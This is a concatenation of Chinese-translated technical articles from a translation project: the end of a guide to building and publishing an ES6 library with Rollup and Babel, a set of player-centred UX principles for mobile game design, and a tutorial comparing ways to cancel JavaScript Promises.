'transform-es2015-function-name', 'transform-es2015-parameters' ] }, { format: 'es6', ext: '.mjs', plugins: [], babelPresets: ['stage-1'], babelPlugins: [ 'transform-es2015-destructuring', 'transform-es2015-function-name', 'transform-es2015-parameters' ] }, { format: 'cjs', ext: '.browser.js', plugins: [], babelPresets: ['es2015-rollup', 'stage-1'], babelPlugins: [] }, { format: 'umd', ext: '.js', plugins: [], babelPresets: ['es2015-rollup', 'stage-1'], babelPlugins: [], moduleName: 'my-library' }, { format: 'umd', ext: '.min.js', plugins: [uglify()] babelPresets: ['es2015-rollup', 'stage-1'], babelPlugins: [], moduleName: 'my-library', minify: true } ]; let promise = Promise.resolve(); // Clean up the output directory promise = promise.then(() => del(['dist/*'])); // Compile source code into a distributable format with Babel and Rollup for (const config of bundles) { promise = promise.then(() => rollup.rollup({ entry: 'src/main.js', external: Object.keys(pkg.dependencies), plugins: [ babel({ babelrc: false, exclude: 'node_modules/**', presets: config.babelPresets, plugins: config.babelPlugins, }) ].concat(config.plugins), }).then(bundle => bundle.write({ dest: `dist/${config.moduleName || 'main'}${config.ext}`, format: config.format, sourceMap: !config.minify, moduleName: config.moduleName, }))); } // Copy package.json and LICENSE.txt promise = promise.then(() => { delete pkg.private; delete pkg.devDependencies; delete pkg.scripts; delete pkg.eslintConfig; delete pkg.babel; fs.writeFileSync('dist/package.json', JSON.stringify(pkg, null, ' '), 'utf-8'); fs.writeFileSync('dist/LICENSE.txt', fs.readFileSync('LICENSE.txt', 'utf-8'), 'utf-8'); }); promise.catch(err => console.error(err.stack)); // eslint-disable-line no-console 现在你可以通过运行 “node tools/build”(假设你本地已经安装 Node.js)在 “dist” 文件夹中构建你的库并进行 NPM 发布。 我希望这篇文章能有助于开发者了解在 NPM 上发布 ES6 (模块) 的最佳方法。你也可以在这里找到一个预配置的 NPM 库样板: [https://github.com/kriasoft/babel-starter-kit](https://github.com/kriasoft/babel-starter-kit) 如果你有什么意见或建议,欢迎在下方留言。Happy Coding! ================================================ FILE: TODO/how-to-build-mobile-games-with-people-in-mind.md ================================================ > * 原文地址:[How to build mobile games with people in mind](https://medium.com/googleplaydev/how-to-build-mobile-games-with-people-in-mind-cdc480967fcc) > * 原文作者:[Player Research](https://medium.com/@player_research?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-mobile-games-with-people-in-mind.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-mobile-games-with-people-in-mind.md) > * 译者:[hanliuxin5](https://github.com/hanliuxin5) > * 校对者:[Potpot](https://github.com/pot-code),[Quorafind](https://github.com/Quorafind) # 如何打造以人为本的移动游戏 用户体验的设计原则,用来帮助您打造人们想要的游戏。来自 [Seb Long](https://twitter.com/seb_long),[Harvey Owen](https://medium.com/@harvey_2330) 和 [Gareth Lloyd](https://medium.com/@garethlloyd)。 ![](https://cdn-images-1.medium.com/max/1000/1*LsuiN_0VYxDOVHYSuyDPKg.png) 随着移动游戏的受众在全球范围内不断扩大。带来的结果是,开发者不仅要满足各种玩家的胃口,还要努力打造良好的用户体验来让自己的游戏从竞争激烈的市场中脱颖而出。这项挑战的复杂性在于不管您的初衷有多好,有时候移动游戏用户的体验还是会与设计的初衷相背离。在这里面有许多不易察觉并且植根于玩家本身的原因,而这些原因能解释为什么这些情况会发生。而其中最难以察觉的差异源于人们的内心;至于影响因素则例如,如您的玩家是怎样看待,如何了解,怎么感受以及是如何参与您的游戏这些影响因素。 我们来自 [Player Research](http://www.playerresearch.com/),是游戏测试以及用户研究方面的专家。Google Play 邀请我们利用我们评估过数以百计的游戏的经验,来建立一套可以帮助您为所有玩家创造一个引人入胜的,易于学习的,有益的游戏的原则。在评估中秉承这些原则可以帮你发现用户体验中的风险、瑕疵和未能达到设计预期的地方;在开发中遵守这几项原则能提高玩家的参与度和积极性,游戏也更容易上手,可玩性也会提高。当然,这需要在设计中使用一些心理学的技巧。 这些原则和问题一起提出的目的,是为了您可以咨询您的受众,或是为了可以作为一个团队来讨论,还或是为了可以指导您开展让玩家参与的测试。也许这些问题算不上详细,但是它们应该能促使团队找出设计初衷与玩家体验之间的差异。 我们将这些用户体验原则分成了两大主要领域: * **打破障碍**:通过遵循玩家如何看待,听闻,思考,参与游戏并与其相伴的方式,消除隐藏的“乐趣障碍”。 * **构造体系**:通过设计一个可以学习的游戏帮助玩家理解,掌握和进步,并且能够清晰呈现出玩家理解程度的进度和深度。 通过解决这些问题,您可以确保游戏中的挑战,挫折和困境都是预料之中的,而不是因为设计决策而产生的预料之外的结果。 ![](https://cdn-images-1.medium.com/max/800/1*JzehAQxovGnC1jSopxIZfA.png) ### **打破障碍** **遵循玩家如何看待,听闻,思考,参与游戏并与其相伴的方式** 第一大原则要求您考虑你的玩家生理和心理上的承受能力;以及您的玩家们能否将您的游戏看作他们日常生活的一部分来享受。那些不遵守这条原则的游戏很快就会被卸载。有些玩家,初次上手就立即有了挫折感或者迷惑感,又或者出现一些阻碍他们理解游戏的东西的话,他们应该不太可能再打开你的游戏了:**“我可能不太适合这款游戏”。** > **看一看你的游戏是如何欢迎新手的。不是说要让你必须对玩家的诉求百依百顺,不是说要让你必须降低游戏的挑战或是牺牲复杂度。有可能你的游戏本来就是硬核游戏,[但是] 重新思考一下这些问题何尝不是一个好主意呢。** > —  Rami Ismail,Vlambeer([source](https://www.gamasutra.com/blogs/RamiIsmail/20121105/180905/An_argument_for_easy_achievements.php)) #### **原则 1:适众的复杂** 复杂度不仅仅是一些您放进游戏设计里的东西;还有玩家的感受,**复杂度产生于游戏设计和玩家能耐间的化学反应**。或许您可能非常精通您的游戏;但玩家的认知,运动和感知能力并不一定赶得上您。您的目标玩家 - 无论年龄或游戏经验如何 - 都会对游戏的复杂度有一个可接受的上限。除非在设计上就考虑到这些限度,否则游戏可能很快就会变得过于复杂或苛刻。 设计适众复杂度意味着清楚谁是您的受众,了解他们跨功能域的**能力**,比如记忆力,注意力,语言能力和运动能力。这些功能域能够顺利地并行工作,使我们能够同时进行所有的日常任务,或者专注在某单一领域来解决全新的或特别苛刻的任务。但是,对任意单一领域的高要求都会导致降低在其他领域的能力;而对多个领域的高要求正中坏表现且难理解的游戏的下怀。所以,根据这些不同的领域来评估你游戏的需求。什么样的改变能够被作出以用来满足其需求?能在不影响核心游戏体验的情况下降低复杂度吗? 通过理解玩家的能力和其需求之间的关系,游戏可以被设计成来适应任何目标受众。以下是一些您可以用来评估游戏适众复杂度的问题: 一些有关您玩家的问题 * 我们目标受众的视觉,运动和认知能力是怎么样的? * 我们的目标受众如何在语言和算术能力方面有所不同? 一些问您团队的问题 * 我们如何确保我们的游戏是易于上手的,并考虑过根据目标受众当前的视觉,运动和认知能力来提供最佳挑战? * 我们是否应该调整我们的游戏体验来适应不同能力间的差异 * 我们应该多早让用户进入游戏来测试其体验? * 我们应该如何在游戏开发过程中避免“复杂多变的需求”? 问问您的玩家 * 在玩游戏时,您有过感到困惑的时候吗? * 在玩游戏时,您是否觉得自己拥有了所有您需要知道的信息?您知道在哪里找到它吗? * 您能告诉我如何在菜单中找到[功能]吗?您是否能够容易地使用菜单? * 您觉得这款游戏“对您的胃口“吗?这是针对您设计的吗?如果不是,那是针对谁设计的呢? #### **原则 2:灵活的设计** 向着您的目标受众设计游戏是一个很好的开始。但是不管您做得多好,就拿您玩家的经验,偏好,和所处的环境来说,他们之间总会存在差异。**接受您目标受众中存在的差异与定义您的受众同样重要**。 游戏是人们日常生活的一部分,所以在尽可能的情况下,应该将游戏设计得灵活一些以适应玩游戏的不同环境。真实世界里到处都是打断,不论你是否打开了设备。为了使您的游戏适合人们的生活,请您确保它支持灵活的游戏时间,可定制化的控制和视听设置,并可以适应碎片化的游戏节奏。 比如,在 [炉石传说](https://play.google.com/store/apps/details?id=com.blizzard.wtcg.hearthstone) 中的内置功能可以应付长时间的暂离: > **那些离开了炉石传说一段时间的玩家回归后往往仍然认为自己很厉害,如果再次手把手地教他们游戏会让他们觉得浪费时间和你在侮辱他们的智商。取而代之的是,我们提供了一些快速弹出的窗口,让他们了解当前的游戏有哪些变化,以及一些独特的日常任务,来引导他们重回旅店。** > — John Hopson,暴雪娱乐高级用户研究经理 以下是一些可以帮助您评估游戏灵活性的问题: 一些有关您玩家的问题 * 我们的玩家何时何地在何种设备上玩游戏? * 哪些方面的内容可能会影响游戏性? * 我们预计的游戏时长和玩家**真实的**游戏时长相匹配吗?和他们的现实生活相协调吗? * 我们给予了足够的时间来感知和理解玩家的游戏反馈吗? 一些问您团队的问题 * 我们如何让玩家将他们的个性化体验应用在为他们的日常**偏好**和**功能**上,如提供视频和音频设置? * 我们需要将游戏设计成可中断式的吗? * 如何对待那些离开了很长时间后重返游戏的老玩家呢? * 操作游戏的方式是否科学合理,比如是否在双手持设备时再让他们用右手点击屏幕左上角的按钮? * 我们是否给予了玩家选择可以“挂机”,隐藏或关闭非核心游戏机制的功能呢? 问问您的玩家 * 在进行游戏时您被中断的频率是怎么样的? * 当您的游戏被中断后,再次返回游戏会发生什么呢?那是您期望发生的吗?如果不是,为什么呢? * 您改变过游戏的任何设置吗? * 你是否会希望关于游戏本身或其操作方式有任何改变呢? ![](https://cdn-images-1.medium.com/max/800/1*yi7pXoB8CGviwAURA6GLKg.png) ### **构造体系** **帮助玩家理解,掌握和进步** 在解决潜在的阻止游戏的障碍是很重要的同时,玩家的体验也扮演着将新进入游戏的玩家转变成老手和爱好者的角色。通过强调您游戏中的可学习性和各功能之间的关联性,您可以向玩家传授游戏知识和技巧,并且引导他们踏上您设计的游戏旅程。最终,他们会按照您设想的方式来进行游戏。 #### **原则 3:"熟悉"的力量** 玩家可以毫不费力地学习游戏的功能,前提是它们已经以某种方式被人们所熟知:比如某种体系或者大众标准,或者它们和现实世界是如出一辙的。玩家可以辨别出相似的通关策略,比如获得一定的评分后才能解锁进入下一环节。可以运用来自真实世界里广为人并且能轻易识别的影像和行为,比如拉动和发射弹弓。当以熟悉为本来设计游戏时,玩家可以对游戏元素,特性,或者交互行为进行有效的,启发性的猜测。 熟悉也可以来自于内部的一致性。随着玩家花在游戏中的时间越来越多,其视觉表现也变得熟悉和可识别。将拥有一致性的图像,术语,颜色表现和游戏特性相关联,可以帮助玩家建立强大的游戏思维。保持这种一致性将有助于玩家预测游戏的新功能和特性,而省去明确地教导他们的步骤。 > **当我们在设计 King 的用户体验时,理解和响应我们玩家的期望是最重要的。所有的产品都要有它们的背景,而我们的玩家已经发展到可以识别并且预测出移动游戏里答案板。秉承这些期望(并知道何时打破它们!)帮助我们创造令人愉悦的游戏体验,玩家可以用最小的认知代价来专注于乐趣。** > — Caitlin Goodale,用户体验设计师,[King](https://play.google.com/store/apps/dev?id=6577204690045492686) 一些有关您玩家的问题 * 玩家对关于游戏机制的规范和期望是什么? 一些问您团队的问题 * 用户界面是否与玩家现有的心智模式一致? * 如何通过我们玩家的**真实世界知识**来使得我们的游戏机制,特性和交互更加直观和更加易于理解? * 如何通过保持**我们游戏的其他方面**的一致性来使得我们的游戏机制,特性和交互更加直观和更加易于理解?或者我们玩家玩过的**别人的游戏** ? * 我们能够确保我们的图像和术语是独特的并且可以快速识别的吗? 问问您的玩家 * 您认为这些图标初看之下是什么意思呢? * 在您的预想中这项特性是如何工作的呢? * 这个特性是否达到了您的预期呢?如果没有,为什么呢? * 游戏中有任何事情没能够按照您预期的那样运作吗? * 这些个特性您有在其他游戏中瞧见吗? #### **原则 4:适当的帮助** 新玩家往往是抱着试试看的心态来接触一款游戏的,即使他们并没有完全理解它。积极主动的玩家则一般会通过进行游戏,不断摸索和试错体验来学习游戏之道。 但是通过自主探索来获得有效的游戏之道是有代价的;由于玩家在不知不觉地随时与游戏进行着交互,所以全面的反馈系统和保护措施是必须的。为了学习游戏之道,玩家需要全面的,有关联的和及时的反馈,来让他们了解其行为对游戏世界的影响。 当玩家处在安全的环境中时,通过自主发现学习如何游戏才会更加有效。这里应该注重的是实践,也许可以通过适当的“分块”游戏概念来使游戏进入平易近人的试错阶段。并且它也应该允许玩家从错误中恢复到正常状态,无论是通过游戏机制还是其他方式 - 比如在学习如何游戏时,慷慨地尽早提供资源或者提供选项来使得玩家可以撤销其操作。 玩家感到困惑或者只是单纯想要了解更多时,也可以提供一些额外的信息:“获取更多“的帮助提示,“信息“按钮,甚至是全面的游戏手册或是客户支持的联系信息。然而,需要尽量避免依靠这些方法作为玩家理解您游戏的唯一途径。尽管每个游戏的上手攻略都不尽相同,但是最好通过让玩家在进行游戏的过程中来学习如何游戏。 一些有关您玩家的问题 * 您的玩家更可能通过探索游戏来学习还是者更可能通过依靠帮助来学习? 一些问您团队的问题 * 向玩家提供帮助支持信息的理想时间和地点是什么? * 玩家会在我们的游戏中制造出什么不应该的错误,我们如何巧妙地保护他们免受这样的负面体验? * 我们的玩法反馈如何更好地向玩家传达其对游戏世界的影响? 问问您的玩家 * 您有没有犯过任何您无法从其中恢复正常的错误?如果是这样,发生了什么? * 您倾向于自己去弄清楚如何玩这些游戏吗?您能在这个游戏中做到吗? * 在玩游戏时,您有没有在游戏中看到过任何帮助信息?你有没有听取它们的意见呢?它们起作用了吗? * 您有没有进一步地去寻求一些如何进行游戏的帮助或信息?您期望在哪里找到这些信息呢? * 您有觉得自己有知道自己在游戏里的表现是优秀还是差劲吗? #### **原则 5:精简的教程** ![](https://cdn-images-1.medium.com/max/600/1*b5AAnrLnYQWCn-QJGEVLSw.png) 在基于玩家直觉,熟悉度和试错体验的教学方法都无效的情况下,游戏就需要自己来清楚地来解释自己。教程,文字提示,和“点击下一步“的方法是比较常见的教学方法。 过度依赖教程来让玩家记忆大量的东西很可能会压跨玩家,或是因为其死板的体验让玩家窒息。然而,在缺乏其他让玩家学习如何进行游戏的方法的情况下,教程的缺失很可能带来玩家的流失。 游戏测试和迭代设计有助于为您的受众确定“金发姑娘原则”教程:适度的来教导您的玩家关于您游戏的基本概念和特性,同时通过熟悉度,直觉和一些协助来平衡学习成本。 一些有关您玩家的问题 * 你的玩家是否可能对教程特别有抵触情绪? 一些问您团队的问题 * 我们的 UI 是否准确地向玩家传达了游戏本身? * 玩家是否可以识别我们游戏的玩法反馈,并且能够按照我们的想法做出回应? * 哪些领域需要更多或更少的教程? * 我们尽了最大限度的努力来教导玩家(例如通过加载屏幕,暂停菜单,菜单交互,视频或过场动画)吗? * 我们是否在正确的地方使用了教程? 问问您的玩家 * 在学习新游戏的过程中,教程是否让您感觉自在? * 你觉得游戏中的教程会显得愚蠢吗?是否有时候您会更喜欢自己来学习如何游戏? * 您能理解每一个教程吗?您有没有设法去快速地学习它想教您什么? #### **原则 6: 清晰的深度** 一旦您的玩家具备了基础知识,然后呢? 明确的目标给予了玩家游戏的意义,游戏过程中要努力的事情,以及重返游戏的理由。通过游戏的体系和其**元游戏**的深度—游戏信心的培养,奖励机制和鼓励留存,来传达游戏的目的。 向玩家传达一个更深的元游戏如何关联到核心游戏体系往往是一个挑战,而结果通常是由两者之间的脆弱的,抽象的关系来决定的。许多游戏依靠熟悉的机制来向传达其基本体系和游戏进展,比如“收集到3颗星“和“完成上一等级才能继续冒险“。 奖励也可以用来表现元游戏系统;但是就像游戏目标一样,它们需要被玩家清楚地理解。一个被误解的奖励可能会混淆而不是加强玩家对游戏进展的理解。 来自其他地方的玩家也可以提供游戏深度的来源,并有可能是一个无尽的元游戏。社交互动和玩家之间的竞争 — 通过排行榜,玩家对玩家,合作模式,“家族“,社交分享或者仅仅只是聊天 — 可以让玩家以不可思议的方式参与其中,这可能是一个潜在的有无限的深度的来源。然而,这些方法可能难以实施:不仅是因为涉及技术上的要求,而是在于多人模式和社交互动应该怎么样来补充游戏的单机内容和机制。 这些亟待解决的 UX 问题不仅富有挑战性并且还很严重,因为一款牛逼的元游戏意味着受众的长期参与。有效地表现元游戏系统将确保玩家可以对游戏中的购买行为做出自信且明智的决定,并增加在玩家卸载之前花费更多游戏时间的可能性。免费模式之外也是如此:一款好的元游戏意味着有可能又一位被您后续运营所俘获的玩家。 一些有关您玩家的问题 * 您的玩家是否会选择有长期目标的游戏? * 玩家会在多大程度上因为其社交属性来寻找这种类型的游戏?他们是想和其他玩家一起玩呢还是对抗其他玩家呢? 一些问您团队的问题 * 我们是否以可理解的方式提出了长期目标? * 我们如何有意义地传达其他真实玩家的存在以及如何让多人模式和社交互动融入我们的元游戏? * 我们如何加强游戏进程和元游戏进程之间的关系? * 哪些功能旨在让玩家重新回到游戏中,并且在用户的首次体验中向其呈现了有意义的内容? 问问您的玩家 * 您如何在这款游戏中取得进展? * 您现在想在这个游戏中做什么? * 在这个游戏中您需要做什么(从长远来看)? * 您如何在这款游戏中变得更好? * 这个游戏会变得更困难吗? * 您能在这个游戏中与其他人互动吗?感觉如何? * 您能够在这个游戏中买什么东西?您可以买东西来帮助您吗? * 您在这个游戏中花钱买了什么东西吗?您如何才能得到更多呢? ![](https://cdn-images-1.medium.com/max/800/1*86fbAfv5Zjh3ubVCxIP-QA.png) ### **划重点** **正确地平衡** 我们已经讨论过几种可以让游戏变得直观易懂而不增加其复杂度的方法。但是,请记住,没有人想要一个无聊的,没有新意的,无趣的游戏。成功的游戏挑战着玩家,并为他们提供成就感。 作为富有创造力的游戏开发者,您可以以有趣的名义忽略任何这些原则。许多成功的游戏有着复杂的视觉性,尴尬的控制,不熟悉的游戏世界等等。在某些情况下,故意设置的复杂性和不愉快可能成为游戏独有的“挑战来源”。 然而,对这些原则的忽视(或认为其只是假设)会增加您的游戏存在无意义障碍的风险,并会给玩家的体验增加意想不到的不愉快。简而言之:明智地选择您的战斗,并确保您的游戏只会按照您想要的方式来展现。 我们希望将这些以玩家为中心的设计原则融入您的开发讨论中将有助于出您设计的游戏体验符合预期。从这些视觉,运动,认知上以及和在对根本的人性化设计思考后来进行仔细和深思熟虑的实验将增加玩家找到您为他们所创造的乐趣的机会,并让他们回到游戏中来以得到更多。 在将来的文章中,我们将分享我们与那些将这些原则应用于他们的游戏设计中的游戏开发者所合作的结果。 * * * **您觉得怎样?** 你有没有想过去设计游戏的用户体验以及人为因素是如何影响游戏玩家的行为的?在文章下面留言或者 twitter 中添加 **#AskPlayDev** 标签后发言,我们会通过 @GooglePlayDev(我们会在那里展示在 Google 应用商店获得成功的窍门)回复。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-cancel-your-promise.md ================================================ > * 原文地址:[How to Cancel Your Promise](http://blog.bloomca.me/2017/12/04/how-to-cancel-your-promise.html) > * 原文作者:[Seva Zaikov](http://blog.bloomca.me/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-cancel-your-promise.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-cancel-your-promise.md) > * 译者:[jonjia](https://github.com/jonjia) > * 校对者:[kangkai124](https://github.com/kangkai124) [hexianga](https://github.com/hexianga) # 如何取消你的 Promise 在 JavaScript 语言的国际标准 ECMAScript 的 ES6 版本中,引入了新的异步原生对象 [Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)。这是一个非常强大的概念,它使我们可以避免臭名昭著的 [回调陷进](http://callbackhell.com/)。例如,几个异步操作很容易写成下面这样的代码: ``` function updateUser(cb) { fetchData(function(error, data) => { if (error) { throw error; } updateUserData(data, function(error, data) => { if (error) { throw error; } updateUserAddress(data, function(error, data) => { if (error) { throw error; } updateMarketingData(data, function(error, data) => { if (error) { throw error; } // finally! cb(); }); }); }); }); } ``` 正如你所看到的,我们嵌套了几个回调函数,如果想要改变一些回调函数的顺序,或者想同时执行一些回调函数,我们将很难管理这些代码。但是,通过 Promise,我们可以将其重构为可读性更好的版本: ``` // 我们不再需要回调函数了 – 只需要使用 then 方法 // 处理函数的返回结果 function updateUser() { return fetchData() .then(updateUserData) .then(updateUserAddress) .then(updateMarketingData); } ``` 这样的代码不仅更简洁,可读性更强,而且可以轻松切换回调的顺序,同时执行回调或删除不必要的回调(或者在回调链中间新增一个回调)。 > 使用 Promise 链式写法的一个缺点是我们无法访问每个回调函数的作用域(或者其中未返回的变量),你可以阅读 Alex Rauschmayer 博士这篇 [a great article](http://2ality.com/2017/08/promise-callback-data-flow.html) 来解决这个问题。 但是,我发现了 [这个问题](https://stackoverflow.com/questions/30233302/promise-is-it-possible-to-force-cancel-a-promise),你不能取消 Promise,这是一个很关键的问题。有时你**需要**取消 Promise,你要构建变通的方法 — 工作量取决于你多长时间使用一次这个功能。 ## 使用 Bluebird [Bluebird](http://bluebirdjs.com/docs/getting-started.html) 是一个 Promise 实现库, 完全兼容原生的 Promise 对象, 并且在原型对象 Promise.prototype 上添加了一些有用的方法(译者注:扩展了原生 Promise 对象的方法)。在这里我们只介绍下 [cancel](http://bluebirdjs.com/docs/api/cancellation.html) 方法, 它部分实现了我们的想要的 — 当我们使用 `promise.cancel` 取消 Promise 时,它允许我们有自定义的逻辑(为什么是部分实现? 因为代码冗长还不通用). 在我们的例子中,我们来看看如何使用 Bluebird 实现取消 Promise: ``` import Promise from 'Bluebird'; function updateUser() { return new Promise((resolve, reject, onCancel) => { let cancelled = false; // 你需要更改 Bluebird 的配置,才能使用 cancellation 特性 // http://bluebirdjs.com/docs/api/promise.config.html onCancel(() => { cancelled = true; reject({ reason: 'cancelled' }); }); return fetchData() .then(wrapWithCancel(updateUserData)) .then(wrapWithCancel(updateUserAddress)) .then(wrapWithCancel(updateMarketingData)) .then(resolve) .catch(reject); function wrapWithCancel(fn) { // promise resolved 的状态只需要传递一个参数 return (data) => { if (!cancelled) { return fn(data); } }; } }); } const promise = updateUser(); // 等一会... promise.cancel(); // 用户还是会被更新 ``` 正如你所看到的,我们在之前干净的例子中增加了很多代码。不幸的是,没有其他办法,因为我们不能停止执行一个随机的 Promise 链(如果我们想,我们需要把它包装到另一个函数中),所以我们需要用处理取消状态的函数包装每个回调函数。 ## 纯 Promises 上面的技术并不是 Bluebird 的特别之处,更多的是关于接口 - 你可以实现你自己的取消版本,但需要额外的属性/变量。通常这种方法被称为`cancellationToken`,在本质上,它几乎和前一个一样,但不是在`Promise.prototype.cancel`上有这个方法,我们将它实例化在一个不同的对象 - 我们可以用`cancel`属性返回一个对象,或者我们可以接受额外的参数,一个对象,我们将在那里添加一个属性。 ``` function updateUser() { let resolve, reject, cancelled; const promise = new Promise((resolveFromPromise, rejectFromPromise) => { resolve = resolveFromPromise; reject = rejectFromPromise; }); fetchData() .then(wrapWithCancel(updateUserData)) .then(wrapWithCancel(updateUserAddress)) .then(wrapWithCancel(updateMarketingData)) .then(resolve) .then(reject); return { promise, cancel: () => { cancelled = true; reject({ reason: 'cancelled' }); } }; function wrapWithCancel(fn) { return (data) => { if (!cancelled) { return fn(data); } }; } } const { promise, cancel } = updateUser(); // 等一会... cancel(); // 用户还是会被更新 ``` 这比以前的解决方案稍微冗长一点,但是它解决了同样的问题,如果你没有使用 Bluebird(或者不想在 Promise 中使用非标准的方法),这是一个可行的解决方案。正如你所看到的,我们改变了签名 - 现在我们返回对象而不是一个 Promise,但实际上我们可以传递一个对象参数给函数,并附上`cancel`方法(或者 Promise 的 monkey-patch 实例,但它也会在以后给你造成问题)。如果你只在几个地方有这个要求,这是一个很好的解决方案。 ## 切换到 generators Generators 是 ES6 另一个新特性,但由于某些原因,它们并没有被广泛使用。使用前请想清楚 - 你团队中的新手会看不懂呢,还是全部成员都游刃有余呢?而且,它还存在于其他一些语言中,如 [Python](https://wiki.python.org/moin/Generators),所以作为团队使用这个解决方案应该会很容易。 Generators 有它自己的文档, 所以我不会介绍基础知识,只是实现一个 Generator 执行器,这将允许我们以通用方式取消我们的 Promise,而不会影响我们的代码。 ``` // 这是运行我们异步代码的核心方法 // 并且提供 cancellation 方法 function runWithCancel(fn, ...args) { const gen = fn(...args); let cancelled, cancel; const promise = new Promise((resolve, promiseReject) => { // 定义 cancel 方法,并返回它 cancel = () => { cancelled = true; reject({ reason: 'cancelled' }); }; let value; onFulfilled(); function onFulfilled(res) { if (!cancelled) { let result; try { result = gen.next(res); } catch (e) { return reject(e); } next(result); return null; } } function onRejected(err) { var result; try { result = gen.throw(err); } catch (e) { return reject(e); } next(result); } function next({ done, value }) { if (done) { return resolve(value); } // 假设我们总是接收 Promise,所以不需要检查类型 return value.then(onFulfilled, onRejected); } }); return { promise, cancel }; } ``` 这是一个相当长的函数,但基本上它(除了检查,当然这是一个非常初级的实现) - 代码本身将保持完全相同,我们将从字面上获取`cancel`方法!让我们看看如何在我们的例子中使用它: ``` // * 表示这是一个 Generator 函数 // 你可以把 * 放到几乎任何地方 :) // 这种写法语法上和 async/await 很相似 function* updateUser() { // 假设我们所有的函数都返回 Promise // 否则需要调整我们的执行器函数 // 去接受 Generator const data = yield fetchData(); const userData = yield updateUserData(data); const userAddress = yield updateUserAddress(userData); const marketingData = yield updateMarketingData(userAddress); return marketingData; } const { promise, cancel } = runWithCancel(updateUser); // 见证奇迹的时刻 cancel(); ``` 正如你所看到的,接口保持不变,但是现在我们可以选择在执行过程中取消任何基于 Generator 的函数,只需将其包装到合适的运行器中即可。缺点是一致性 - 如果它只是在你的代码中的几个地方,那么别人看你代码时会很困惑,因为你在代码中使用了所有可能的异步方法,这又是一个折中方案。 我想,Generator 是最具扩展性的选择,因为你可以从字面上完成所有你想要的事情 - 如果出现某种情况,你可以暂停,等待,重试,或者运行另一个 Generator。但是,我并没有经常在 JavaScript 代码中看到他们,所以你应该考虑采用和认知负载 - 你真的有很多的它的使用场景吗?如果是,那么这是一个非常好的解决方案,你将来可能会感谢你自己。 ## 注意 async/await 在 [ES2017](https://tc39.github.io/ecma262/2017/#sec-async-function-definitions) 版本提供了 async/await,你可以在 Node.js([版本7.6](https://www.infoq.com/news/2017/02/node-76-async-await)之后)中没有任何标志的情况下使用它们。不幸的是,没有任何东西可以支持取消 Promise,而且由于 async 函数隐含地返回 Promise,所以我们不能真正感觉到它(附加一个属性或返回其他东西),只有 resolved/rejected 状态的值。这意味着为了使我们的函数可以被取消,我们需要传递一个对象,并将每个调用包装在我们著名的包装器方法中: ``` async function updateUser(token) { let cancelled = false; // 我们不调用 reject,因为我们无法访问 // 返回的 Promise // 我们不调用其它函数 // 在结束时调用 reject token.cancel = () => { cancelled = true; }; const data = await wrapWithCancel(fetchData)(); const userData = await wrapWithCancel(updateUserData)(data); const userAddress = await wrapWithCancel(updateUserAddress)(userData); const marketingData = await wrapWithCancel(updateMarketingData)(userAddress); // 因为我们已经包装了所有的函数,以防取消 // 不需要调用任何实际函数来达到这一点 // 我们也不能调用 reject 方法 // 因为我们无法控制返回的 Promise if (cancelled) { throw { reason: 'cancelled' }; } return marketingData; function wrapWithCancel(fn) { return data => { if (!cancelled) { return fn(data); } } } } const token = {}; const promise = updateUser(token); // 等一会... token.cancel(); // 用户还是会被更新 ``` 这是非常相似的解决方案,但是因为我们没有直接在`cancel`方法中调用 reject,所以可能会使读者感到困惑。另一方面,它是现在语言的一个标准功能,具有非常方便的语法,允许你在后面使用前面调用的结果(所以在这里解决了 Promise 链式调用的问题),并且具有非常简明和直观的通过`try / catch`的错误处理。所以,如果取消不再困扰你(或者你可以用这种方式来取消某些东西),那么这个特性绝对是在现代 JavaScript 中编写异步代码的最好方式。 ## 使用 streams (就像 RxJS) Streams 是完全不同的概念,但实际上它的应用更广泛 [不仅在 JavaScript ](http://reactivex.io/),所以你可以将其视为独立于平台的模式。和 Promie/Generator 相比,Streams 可能更好也可能更糟糕。如果你已经接触过它,并且使用它来处理过一些(或者所有的)异步逻辑,你会发现 Streams 更好,如果你没接触过,你会发现 Streams 更糟糕,因为它是完全不同的方法。 我不是一个使用 Streams 的专家,只是使用过一些,我认为你应该使用它们来处理所有的异步事件,或者完全不使用它们。所以,如果你已经在使用它们,这个问题对你来说应该不是一件难事,因为这是 Streams 库的一个长期以来众所周知的特性。 正如我所提到的,我没有足够的使用 Streams 的经验来提供使用它们的解决方案,所以我只是放几个关于 Streams 实现取消的链接: * [GitHub issue 解释](https://github.com/Reactive-Extensions/RxJS/issues/817#issuecomment-122729155) * [关于使用 * 方法的文章](https://medium.com/@benlesh/rxjs-dont-unsubscribe-6753ed4fda87) ## 接受 事情朝着好的方向发展 - fetch 将会新增 [abort](https://github.com/whatwg/fetch/issues/447) 方法,如何取消 Promise 在将来还会热议很长一段时间。取消 Promise 能够实现吗?可能会可能不会。而且,取消 Promise 对于许多应用程序来说不是至关重要的 - 是的,你可以提出一些额外的请求,但有一个以上的请求结果是非常罕见的。另外,如果发生一次或两次,则可以从一开始就使用扩展示例来解决这些特定函数。但是,如果你的应用程序中有很多这样的情况,请考虑一下上面列出的内容。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 